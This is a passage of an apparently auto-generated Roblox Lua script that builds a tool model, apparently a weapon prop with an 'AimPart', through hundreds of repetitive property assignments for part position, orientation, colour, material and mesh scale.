  4518. Part412.Position = Vector3.new(143.222946, 4.0665741, 144.360931)
  4519. Part412.Orientation = Vector3.new(90, 180, 0)
  4520. Part412.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4521. BlockMesh413.Parent = Part412
  4522. BlockMesh413.Scale = Vector3.new(0.0233333316, 0.0433333293, 0.0333333351)
  4523. BlockMesh413.Scale = Vector3.new(0.0233333316, 0.0433333293, 0.0333333351)
  4524. Part414.Parent = Tool0
  4525. Part414.Material = Enum.Material.Metal
  4526. Part414.BrickColor = BrickColor.new("Black")
  4527. Part414.Rotation = Vector3.new(-90, 0, 90)
  4528. Part414.Anchored = true
  4529. Part414.FormFactor = Enum.FormFactor.Symmetric
  4530. Part414.Size = Vector3.new(1, 1, 1)
  4531. Part414.CFrame = CFrame.new(143.886276, 3.44324899, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  4532. Part414.BottomSurface = Enum.SurfaceType.Smooth
  4533. Part414.TopSurface = Enum.SurfaceType.Smooth
  4534. Part414.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4535. Part414.Position = Vector3.new(143.886276, 3.44324899, 144.39093)
  4536. Part414.Orientation = Vector3.new(-90, 90, 0)
  4537. Part414.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4538. BlockMesh415.Parent = Part414
  4539. BlockMesh415.Scale = Vector3.new(0.13333334, 0.200000003, 0.533333361)
  4540. BlockMesh415.Scale = Vector3.new(0.13333334, 0.200000003, 0.533333361)
  4541. Part416.Parent = Tool0
  4542. Part416.Material = Enum.Material.Metal
  4543. Part416.BrickColor = BrickColor.new("Black")
  4544. Part416.Rotation = Vector3.new(-90, 0, 90)
  4545. Part416.Anchored = true
  4546. Part416.FormFactor = Enum.FormFactor.Custom
  4547. Part416.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4548. Part416.CFrame = CFrame.new(143.726273, 3.676579, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  4549. Part416.BottomSurface = Enum.SurfaceType.Smooth
  4550. Part416.TopSurface = Enum.SurfaceType.Smooth
  4551. Part416.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4552. Part416.Position = Vector3.new(143.726273, 3.676579, 144.39093)
  4553. Part416.Orientation = Vector3.new(-90, 90, 0)
  4554. Part416.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4555. SpecialMesh417.Parent = Part416
  4556. SpecialMesh417.Scale = Vector3.new(0.666666687, 0.399999976, 0.333333343)
  4557. SpecialMesh417.MeshType = Enum.MeshType.Wedge
  4558. SpecialMesh417.Scale = Vector3.new(0.666666687, 0.399999976, 0.333333343)
  4559. Part418.Parent = Tool0
  4560. Part418.Material = Enum.Material.Metal
  4561. Part418.BrickColor = BrickColor.new("Dark stone grey")
  4562. Part418.Rotation = Vector3.new(90, 0, -180)
  4563. Part418.Anchored = true
  4564. Part418.FormFactor = Enum.FormFactor.Custom
  4565. Part418.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4566. Part418.CFrame = CFrame.new(143.282944, 4.02990818, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4567. Part418.BottomSurface = Enum.SurfaceType.Smooth
  4568. Part418.TopSurface = Enum.SurfaceType.Smooth
  4569. Part418.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4570. Part418.Position = Vector3.new(143.282944, 4.02990818, 144.444275)
  4571. Part418.Orientation = Vector3.new(90, 180, 0)
  4572. Part418.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4573. CylinderMesh419.Parent = Part418
  4574. CylinderMesh419.Scale = Vector3.new(0.333333373, 0.0666662827, 0.666666687)
  4575. CylinderMesh419.Scale = Vector3.new(0.333333373, 0.0666662827, 0.666666687)
  4576. Part420.Name = "AimPart"
  4577. Part420.Parent = Tool0
  4578. Part420.Material = Enum.Material.Metal
  4579. Part420.BrickColor = BrickColor.new("Dark stone grey")
  4580. Part420.Transparency = 50
  4581. Part420.Rotation = Vector3.new(0, -90, 0)
  4582. Part420.Anchored = true
  4583. Part420.FormFactor = Enum.FormFactor.Custom
  4584. Part420.Size = Vector3.new(0.200000048, 0.200000048, 1.20000005)
  4585. Part420.CFrame = CFrame.new(142.722946, 4.09990311, 144.39093, 0, 0, -1, 0, 1, 0, 1, 0, 0)
  4586. Part420.BottomSurface = Enum.SurfaceType.Smooth
  4587. Part420.TopSurface = Enum.SurfaceType.Smooth
  4588. Part420.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4589. Part420.Position = Vector3.new(142.722946, 4.09990311, 144.39093)
  4590. Part420.Orientation = Vector3.new(0, -90, 0)
  4591. Part420.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4592. BlockMesh421.Parent = Part420
  4593. BlockMesh421.Scale = Vector3.new(0.0233333316, 0.066666618, 0.0433333293)
  4594. BlockMesh421.Scale = Vector3.new(0.0233333316, 0.066666618, 0.0433333293)
  4595. Part422.Parent = Tool0
  4596. Part422.Material = Enum.Material.Metal
  4597. Part422.BrickColor = BrickColor.new("Black")
  4598. Part422.Rotation = Vector3.new(-90, 0, 90)
  4599. Part422.Anchored = true
  4600. Part422.FormFactor = Enum.FormFactor.Custom
  4601. Part422.Size = Vector3.new(0.213333324, 0.600000024, 0.200000003)
  4602. Part422.CFrame = CFrame.new(143.986267, 3.76324797, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  4603. Part422.BottomSurface = Enum.SurfaceType.Smooth
  4604. Part422.TopSurface = Enum.SurfaceType.Smooth
  4605. Part422.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4606. Part422.Position = Vector3.new(143.986267, 3.76324797, 144.39093)
  4607. Part422.Orientation = Vector3.new(-90, 90, 0)
  4608. Part422.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4609. BlockMesh423.Parent = Part422
  4610. BlockMesh423.Scale = Vector3.new(1, 1, 0.533333361)
  4611. BlockMesh423.Scale = Vector3.new(1, 1, 0.533333361)
  4612. Part424.Parent = Tool0
  4613. Part424.Material = Enum.Material.Metal
  4614. Part424.BrickColor = BrickColor.new("Dark stone grey")
  4615. Part424.Rotation = Vector3.new(-90, 0, -180)
  4616. Part424.Anchored = true
  4617. Part424.FormFactor = Enum.FormFactor.Custom
  4618. Part424.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4619. Part424.CFrame = CFrame.new(143.782944, 3.76324797, 144.28093, -1, 0, 0, 0, 0, 1, 0, 1, -0)
  4620. Part424.BottomSurface = Enum.SurfaceType.Smooth
  4621. Part424.TopSurface = Enum.SurfaceType.Smooth
  4622. Part424.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4623. Part424.Position = Vector3.new(143.782944, 3.76324797, 144.28093)
  4624. Part424.Orientation = Vector3.new(-90, -180, 0)
  4625. Part424.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4626. CylinderMesh425.Parent = Part424
  4627. CylinderMesh425.Scale = Vector3.new(0.333333343, 0.0333333351, 3.33333349)
  4628. CylinderMesh425.Scale = Vector3.new(0.333333343, 0.0333333351, 3.33333349)
  4629. Part426.Parent = Tool0
  4630. Part426.Material = Enum.Material.Metal
  4631. Part426.BrickColor = BrickColor.new("Dark stone grey")
  4632. Part426.Rotation = Vector3.new(90, 0, -180)
  4633. Part426.Anchored = true
  4634. Part426.FormFactor = Enum.FormFactor.Custom
  4635. Part426.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4636. Part426.CFrame = CFrame.new(143.206268, 4.00991011, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4637. Part426.BottomSurface = Enum.SurfaceType.Smooth
  4638. Part426.TopSurface = Enum.SurfaceType.Smooth
  4639. Part426.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4640. Part426.Position = Vector3.new(143.206268, 4.00991011, 144.444275)
  4641. Part426.Orientation = Vector3.new(90, 180, 0)
  4642. Part426.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4643. BlockMesh427.Parent = Part426
  4644. BlockMesh427.Scale = Vector3.new(0.831999838, 0.0666662827, 0.200000033)
  4645. BlockMesh427.Scale = Vector3.new(0.831999838, 0.0666662827, 0.200000033)
  4646. Part428.Parent = Tool0
  4647. Part428.Material = Enum.Material.Metal
  4648. Part428.BrickColor = BrickColor.new("Black")
  4649. Part428.Rotation = Vector3.new(-90, 0, 90)
  4650. Part428.Anchored = true
  4651. Part428.FormFactor = Enum.FormFactor.Custom
  4652. Part428.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4653. Part428.CFrame = CFrame.new(143.772934, 3.61992002, 144.440933, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  4654. Part428.BottomSurface = Enum.SurfaceType.Smooth
  4655. Part428.TopSurface = Enum.SurfaceType.Smooth
  4656. Part428.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4657. Part428.Position = Vector3.new(143.772934, 3.61992002, 144.440933)
  4658. Part428.Orientation = Vector3.new(-90, 90, 0)
  4659. Part428.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4660. SpecialMesh429.Parent = Part428
  4661. SpecialMesh429.Scale = Vector3.new(0.166666567, 0.0666666403, 0.233333319)
  4662. SpecialMesh429.MeshType = Enum.MeshType.Wedge
  4663. SpecialMesh429.Scale = Vector3.new(0.166666567, 0.0666666403, 0.233333319)
  4664. Part430.Parent = Tool0
  4665. Part430.Material = Enum.Material.Metal
  4666. Part430.BrickColor = BrickColor.new("Dark stone grey")
  4667. Part430.Rotation = Vector3.new(90, 0, 0)
  4668. Part430.Anchored = true
  4669. Part430.FormFactor = Enum.FormFactor.Custom
  4670. Part430.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4671. Part430.CFrame = CFrame.new(143.782944, 3.61325002, 144.39093, 1, 0, 0, 0, 0, -1, 0, 1, 0)
  4672. Part430.BottomSurface = Enum.SurfaceType.Smooth
  4673. Part430.TopSurface = Enum.SurfaceType.Smooth
  4674. Part430.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4675. Part430.Position = Vector3.new(143.782944, 3.61325002, 144.39093)
  4676. Part430.Orientation = Vector3.new(90, 0, 0)
  4677. Part430.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4678. CylinderMesh431.Parent = Part430
  4679. CylinderMesh431.Scale = Vector3.new(0.366666675, 0.333333343, 0.366666675)
  4680. CylinderMesh431.Scale = Vector3.new(0.366666675, 0.333333343, 0.366666675)
  4681. Part432.Parent = Tool0
  4682. Part432.Material = Enum.Material.Metal
  4683. Part432.BrickColor = BrickColor.new("Black")
  4684. Part432.Rotation = Vector3.new(-150, 0, 90)
  4685. Part432.Anchored = true
  4686. Part432.FormFactor = Enum.FormFactor.Custom
  4687. Part432.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4688. Part432.CFrame = CFrame.new(143.616272, 3.74056697, 144.331009, -7.11698249e-07, -1.00000358, -1.53289113e-06, -0.866010129, -1.49011612e-07, 0.500037193, -0.500040531, 1.68383121e-06, -0.866008461)
  4689. Part432.BottomSurface = Enum.SurfaceType.Smooth
  4690. Part432.TopSurface = Enum.SurfaceType.Smooth
  4691. Part432.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4692. Part432.Position = Vector3.new(143.616272, 3.74056697, 144.331009)
  4693. Part432.Orientation = Vector3.new(-30, -180, -90)
  4694. Part432.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4695. BlockMesh433.Parent = Part432
  4696. BlockMesh433.Scale = Vector3.new(0.0666666031, 0.500000238, 0.166666716)
  4697. BlockMesh433.Scale = Vector3.new(0.0666666031, 0.500000238, 0.166666716)
  4698. Part434.Parent = Tool0
  4699. Part434.Material = Enum.Material.Metal
  4700. Part434.BrickColor = BrickColor.new("Black")
  4701. Part434.Rotation = Vector3.new(150.009995, 0, 90)
  4702. Part434.Anchored = true
  4703. Part434.FormFactor = Enum.FormFactor.Custom
  4704. Part434.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4705. Part434.CFrame = CFrame.new(143.612946, 3.73776293, 144.382095, 2.19427147e-06, -1, -2.86016348e-06, -0.866099715, -4.70744311e-07, -0.499871284, 0.499871284, 3.57403997e-06, -0.866099715)
  4706. Part434.BottomSurface = Enum.SurfaceType.Smooth
  4707. Part434.TopSurface = Enum.SurfaceType.Smooth
  4708. Part434.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4709. Part434.Position = Vector3.new(143.612946, 3.73776293, 144.382095)
  4710. Part434.Orientation = Vector3.new(29.9899998, -180, -90)
  4711. Part434.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4712. BlockMesh435.Parent = Part434
  4713. BlockMesh435.Scale = Vector3.new(0.0666666031, 0.5333336, 0.166666716)
  4714. BlockMesh435.Scale = Vector3.new(0.0666666031, 0.5333336, 0.166666716)
  4715. Part436.Parent = Tool0
  4716. Part436.Material = Enum.Material.Metal
  4717. Part436.BrickColor = BrickColor.new("Dark stone grey")
  4718. Part436.Rotation = Vector3.new(90, 0, -180)
  4719. Part436.Anchored = true
  4720. Part436.FormFactor = Enum.FormFactor.Custom
  4721. Part436.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4722. Part436.CFrame = CFrame.new(143.229599, 4.03324604, 144.434265, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4723. Part436.BottomSurface = Enum.SurfaceType.Smooth
  4724. Part436.TopSurface = Enum.SurfaceType.Smooth
  4725. Part436.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4726. Part436.Position = Vector3.new(143.229599, 4.03324604, 144.434265)
  4727. Part436.Orientation = Vector3.new(90, 180, 0)
  4728. Part436.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4729. CylinderMesh437.Parent = Part436
  4730. CylinderMesh437.Scale = Vector3.new(0.166666687, 0.0333333351, 0.166666672)
  4731. CylinderMesh437.Scale = Vector3.new(0.166666687, 0.0333333351, 0.166666672)
  4732. Part438.Parent = Tool0
  4733. Part438.Material = Enum.Material.Metal
  4734. Part438.BrickColor = BrickColor.new("Dark stone grey")
  4735. Part438.Rotation = Vector3.new(90, 0, -180)
  4736. Part438.Anchored = true
  4737. Part438.FormFactor = Enum.FormFactor.Custom
  4738. Part438.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4739. Part438.CFrame = CFrame.new(143.162933, 4.03324223, 144.347595, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4740. Part438.BottomSurface = Enum.SurfaceType.Smooth
  4741. Part438.TopSurface = Enum.SurfaceType.Smooth
  4742. Part438.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4743. Part438.Position = Vector3.new(143.162933, 4.03324223, 144.347595)
  4744. Part438.Orientation = Vector3.new(90, 180, 0)
  4745. Part438.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4746. CylinderMesh439.Parent = Part438
  4747. CylinderMesh439.Scale = Vector3.new(0.166666687, 0.0333333351, 0.166666672)
  4748. CylinderMesh439.Scale = Vector3.new(0.166666687, 0.0333333351, 0.166666672)
  4749. Part440.Parent = Tool0
  4750. Part440.Material = Enum.Material.Metal
  4751. Part440.BrickColor = BrickColor.new("Black")
  4752. Part440.Rotation = Vector3.new(-120, 0, 90)
  4753. Part440.Anchored = true
  4754. Part440.FormFactor = Enum.FormFactor.Custom
  4755. Part440.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4756. Part440.CFrame = CFrame.new(143.626266, 3.77325511, 144.297607, 0, -1, 0, -0.49998197, 1.49011612e-08, 0.866036296, -0.866036117, -0, -0.49998188)
  4757. Part440.BottomSurface = Enum.SurfaceType.Smooth
  4758. Part440.TopSurface = Enum.SurfaceType.Smooth
  4759. Part440.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4760. Part440.Position = Vector3.new(143.626266, 3.77325511, 144.297607)
  4761. Part440.Orientation = Vector3.new(-60, 180, -90)
  4762. Part440.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4763. BlockMesh441.Parent = Part440
  4764. BlockMesh441.Scale = Vector3.new(0.0666666031, 0.400000244, 0.166666716)
  4765. BlockMesh441.Scale = Vector3.new(0.0666666031, 0.400000244, 0.166666716)
  4766. Part442.Parent = Tool0
  4767. Part442.Material = Enum.Material.Metal
  4768. Part442.BrickColor = BrickColor.new("Black")
  4769. Part442.Rotation = Vector3.new(-164.98999, 0, 90)
  4770. Part442.Anchored = true
  4771. Part442.FormFactor = Enum.FormFactor.Custom
  4772. Part442.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4773. Part442.CFrame = CFrame.new(143.612946, 3.73178697, 144.35289, 5.29132478e-07, -1.00000393, -3.57406816e-06, -0.965899885, -1.43652471e-06, 0.25893423, -0.258931458, 3.31517049e-06, -0.965902984)
  4774. Part442.BottomSurface = Enum.SurfaceType.Smooth
  4775. Part442.TopSurface = Enum.SurfaceType.Smooth
  4776. Part442.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4777. Part442.Position = Vector3.new(143.612946, 3.73178697, 144.35289)
  4778. Part442.Orientation = Vector3.new(-15.0099993, -180, -90)
  4779. Part442.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4780. BlockMesh443.Parent = Part442
  4781. BlockMesh443.Scale = Vector3.new(0.0666666031, 0.5333336, 0.166666716)
  4782. BlockMesh443.Scale = Vector3.new(0.0666666031, 0.5333336, 0.166666716)
  4783. Part444.Parent = Tool0
  4784. Part444.Material = Enum.Material.Metal
  4785. Part444.BrickColor = BrickColor.new("Black")
  4786. Part444.Rotation = Vector3.new(-90, 0, 90)
  4787. Part444.Anchored = true
  4788. Part444.FormFactor = Enum.FormFactor.Custom
  4789. Part444.Size = Vector3.new(0.200000003, 0.686666667, 0.200000003)
  4790. Part444.CFrame = CFrame.new(144.67627, 3.76324797, 144.344284, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  4791. Part444.BottomSurface = Enum.SurfaceType.Smooth
  4792. Part444.TopSurface = Enum.SurfaceType.Smooth
  4793. Part444.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4794. Part444.Position = Vector3.new(144.67627, 3.76324797, 144.344284)
  4795. Part444.Orientation = Vector3.new(-90, 90, 0)
  4796. Part444.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4797. CylinderMesh445.Parent = Part444
  4798. CylinderMesh445.Scale = Vector3.new(0.659999967, 1, 0.659999967)
  4799. CylinderMesh445.Scale = Vector3.new(0.659999967, 1, 0.659999967)
  4800. Part446.Parent = Tool0
  4801. Part446.Material = Enum.Material.Metal
  4802. Part446.Rotation = Vector3.new(90, 0, -180)
  4803. Part446.Anchored = true
  4804. Part446.FormFactor = Enum.FormFactor.Custom
  4805. Part446.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4806. Part446.CFrame = CFrame.new(143.222931, 4.05324411, 144.31427, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4807. Part446.BottomSurface = Enum.SurfaceType.Smooth
  4808. Part446.TopSurface = Enum.SurfaceType.Smooth
  4809. Part446.Position = Vector3.new(143.222931, 4.05324411, 144.31427)
  4810. Part446.Orientation = Vector3.new(90, 180, 0)
  4811. CylinderMesh447.Parent = Part446
  4812. CylinderMesh447.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
  4813. CylinderMesh447.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
  4814. Part448.Parent = Tool0
  4815. Part448.Material = Enum.Material.Metal
  4816. Part448.BrickColor = BrickColor.new("Dark stone grey")
  4817. Part448.Rotation = Vector3.new(90, 0, -90)
  4818. Part448.Anchored = true
  4819. Part448.FormFactor = Enum.FormFactor.Custom
  4820. Part448.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4821. Part448.CFrame = CFrame.new(144.016266, 3.08324695, 144.39093, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  4822. Part448.BottomSurface = Enum.SurfaceType.Smooth
  4823. Part448.TopSurface = Enum.SurfaceType.Smooth
  4824. Part448.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4825. Part448.Position = Vector3.new(144.016266, 3.08324695, 144.39093)
  4826. Part448.Orientation = Vector3.new(90, 90, 0)
  4827. Part448.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4828. SpecialMesh449.Parent = Part448
  4829. SpecialMesh449.Scale = Vector3.new(0.799999893, 0.0999999717, 0.0666666701)
  4830. SpecialMesh449.MeshType = Enum.MeshType.Wedge
  4831. SpecialMesh449.Scale = Vector3.new(0.799999893, 0.0999999717, 0.0666666701)
  4832. Part450.Parent = Tool0
  4833. Part450.Material = Enum.Material.Metal
  4834. Part450.BrickColor = BrickColor.new("Dark stone grey")
  4835. Part450.Rotation = Vector3.new(0, 90, 0)
  4836. Part450.Anchored = true
  4837. Part450.FormFactor = Enum.FormFactor.Custom
  4838. Part450.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4839. Part450.CFrame = CFrame.new(144.182938, 3.47324896, 144.39093, 0, -6.29872084e-05, 1.00000024, 0, 1.00000024, 6.29872084e-05, -1, -0, 0)
  4840. Part450.BottomSurface = Enum.SurfaceType.Smooth
  4841. Part450.TopSurface = Enum.SurfaceType.Smooth
  4842. Part450.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4843. Part450.Position = Vector3.new(144.182938, 3.47324896, 144.39093)
  4844. Part450.Orientation = Vector3.new(0, 90, 0)
  4845. Part450.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4846. BlockMesh451.Parent = Part450
  4847. BlockMesh451.Scale = Vector3.new(0.599999964, 0.100000009, 0.666666687)
  4848. BlockMesh451.Scale = Vector3.new(0.599999964, 0.100000009, 0.666666687)
  4849. ManualWeld452.Name = "Part-to-Handle Strong Joint"
  4850. ManualWeld452.Parent = Part450
  4851. ManualWeld452.C0 = CFrame.new(-0.100000001, 0.100000001, 0.100000001, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  4852. ManualWeld452.C1 = CFrame.new(0.100006104, -0.092189312, -0.196029663, 1, 0, 0, 0, 0.000125899925, 1.00000024, 0, -1.00000024, 0.000125899925)
  4853. ManualWeld452.Part0 = Part450
  4854. ManualWeld452.Part1 = Part30
  4855. Part453.Parent = Tool0
  4856. Part453.Material = Enum.Material.Metal
  4857. Part453.BrickColor = BrickColor.new("Dark stone grey")
  4858. Part453.Rotation = Vector3.new(-90, -15.0099993, 0)
  4859. Part453.Anchored = true
  4860. Part453.FormFactor = Enum.FormFactor.Custom
  4861. Part453.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4862. Part453.CFrame = CFrame.new(143.102783, 3.81143498, 144.284271, 0.965896666, 0, -0.258930802, 0.258930802, 0, 0.965896666, 0, -1, -0)
  4863. Part453.BottomSurface = Enum.SurfaceType.Smooth
  4864. Part453.TopSurface = Enum.SurfaceType.Smooth
  4865. Part453.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4866. Part453.Position = Vector3.new(143.102783, 3.81143498, 144.284271)
  4867. Part453.Orientation = Vector3.new(-74.9899979, -90, 90)
  4868. Part453.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4869. CylinderMesh454.Parent = Part453
  4870. CylinderMesh454.Scale = Vector3.new(0.200000018, 0.0333333351, 0.166666597)
  4871. CylinderMesh454.Scale = Vector3.new(0.200000018, 0.0333333351, 0.166666597)
  4872. Part455.Parent = Tool0
  4873. Part455.Material = Enum.Material.Metal
  4874. Part455.BrickColor = BrickColor.new("Dark stone grey")
  4875. Part455.Rotation = Vector3.new(90, 0, -180)
  4876. Part455.Anchored = true
  4877. Part455.FormFactor = Enum.FormFactor.Custom
  4878. Part455.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4879. Part455.CFrame = CFrame.new(144.969604, 4.01991081, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4880. Part455.BottomSurface = Enum.SurfaceType.Smooth
  4881. Part455.TopSurface = Enum.SurfaceType.Smooth
  4882. Part455.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4883. Part455.Position = Vector3.new(144.969604, 4.01991081, 144.337601)
  4884. Part455.Orientation = Vector3.new(90, 180, 0)
  4885. Part455.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4886. CylinderMesh456.Parent = Part455
  4887. CylinderMesh456.Scale = Vector3.new(0.50000006, 0.0666662827, 0.5)
  4888. CylinderMesh456.Scale = Vector3.new(0.50000006, 0.0666662827, 0.5)
  4889. Part457.Parent = Tool0
  4890. Part457.Material = Enum.Material.Metal
  4891. Part457.BrickColor = BrickColor.new("Black")
  4892. Part457.Rotation = Vector3.new(-90, 0, 90)
  4893. Part457.Anchored = true
  4894. Part457.FormFactor = Enum.FormFactor.Custom
  4895. Part457.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4896. Part457.CFrame = CFrame.new(143.772934, 3.67658401, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  4897. Part457.BottomSurface = Enum.SurfaceType.Smooth
  4898. Part457.TopSurface = Enum.SurfaceType.Smooth
  4899. Part457.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4900. Part457.Position = Vector3.new(143.772934, 3.67658401, 144.39093)
  4901. Part457.Orientation = Vector3.new(-90, 90, 0)
  4902. Part457.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4903. BlockMesh458.Parent = Part457
  4904. BlockMesh458.Scale = Vector3.new(0.666666687, 0.0666666403, 0.333333343)
  4905. BlockMesh458.Scale = Vector3.new(0.666666687, 0.0666666403, 0.333333343)
  4906. Part459.Parent = Tool0
  4907. Part459.Material = Enum.Material.Metal
  4908. Part459.BrickColor = BrickColor.new("Dark stone grey")
  4909. Part459.Rotation = Vector3.new(90, 0, -180)
  4910. Part459.Anchored = true
  4911. Part459.FormFactor = Enum.FormFactor.Custom
  4912. Part459.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4913. Part459.CFrame = CFrame.new(143.239609, 4.01657677, 144.434265, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4914. Part459.BottomSurface = Enum.SurfaceType.Smooth
  4915. Part459.TopSurface = Enum.SurfaceType.Smooth
  4916. Part459.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4917. Part459.Position = Vector3.new(143.239609, 4.01657677, 144.434265)
  4918. Part459.Orientation = Vector3.new(90, 180, 0)
  4919. Part459.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4920. BlockMesh460.Parent = Part459
  4921. BlockMesh460.Scale = Vector3.new(0.0666666701, 0.0333333351, 0.200000018)
  4922. BlockMesh460.Scale = Vector3.new(0.0666666701, 0.0333333351, 0.200000018)
  4923. Part461.Parent = Tool0
  4924. Part461.Material = Enum.Material.Metal
  4925. Part461.BrickColor = BrickColor.new("Dark stone grey")
  4926. Part461.Rotation = Vector3.new(90, 0, -180)
  4927. Part461.Anchored = true
  4928. Part461.FormFactor = Enum.FormFactor.Custom
  4929. Part461.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4930. Part461.CFrame = CFrame.new(143.282944, 4.02990818, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4931. Part461.BottomSurface = Enum.SurfaceType.Smooth
  4932. Part461.TopSurface = Enum.SurfaceType.Smooth
  4933. Part461.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4934. Part461.Position = Vector3.new(143.282944, 4.02990818, 144.337601)
  4935. Part461.Orientation = Vector3.new(90, 180, 0)
  4936. Part461.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4937. CylinderMesh462.Parent = Part461
  4938. CylinderMesh462.Scale = Vector3.new(0.333333373, 0.0666662827, 0.666666687)
  4939. CylinderMesh462.Scale = Vector3.new(0.333333373, 0.0666662827, 0.666666687)
  4940. Part463.Parent = Tool0
  4941. Part463.Material = Enum.Material.Metal
  4942. Part463.BrickColor = BrickColor.new("Black")
  4943. Part463.Rotation = Vector3.new(90, 0, 90)
  4944. Part463.Anchored = true
  4945. Part463.FormFactor = Enum.FormFactor.Custom
  4946. Part463.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4947. Part463.CFrame = CFrame.new(143.782944, 3.52990198, 144.440933, 0, -1, 0, 0, 0, -1, 1, 0, 0)
  4948. Part463.BottomSurface = Enum.SurfaceType.Smooth
  4949. Part463.TopSurface = Enum.SurfaceType.Smooth
  4950. Part463.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4951. Part463.Position = Vector3.new(143.782944, 3.52990198, 144.440933)
  4952. Part463.Orientation = Vector3.new(90, -90, 0)
  4953. Part463.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4954. BlockMesh464.Parent = Part463
  4955. BlockMesh464.Scale = Vector3.new(0.166666523, 0.0333333574, 0.866666734)
  4956. BlockMesh464.Scale = Vector3.new(0.166666523, 0.0333333574, 0.866666734)
  4957. Part465.Parent = Tool0
  4958. Part465.Material = Enum.Material.Metal
  4959. Part465.BrickColor = BrickColor.new("Dark stone grey")
  4960. Part465.Rotation = Vector3.new(90, 0, -90)
  4961. Part465.Anchored = true
  4962. Part465.FormFactor = Enum.FormFactor.Custom
  4963. Part465.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4964. Part465.CFrame = CFrame.new(143.329605, 3.973243, 144.39093, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  4965. Part465.BottomSurface = Enum.SurfaceType.Smooth
  4966. Part465.TopSurface = Enum.SurfaceType.Smooth
  4967. Part465.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4968. Part465.Position = Vector3.new(143.329605, 3.973243, 144.39093)
  4969. Part465.Orientation = Vector3.new(90, 90, 0)
  4970. Part465.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4971. SpecialMesh466.Parent = Part465
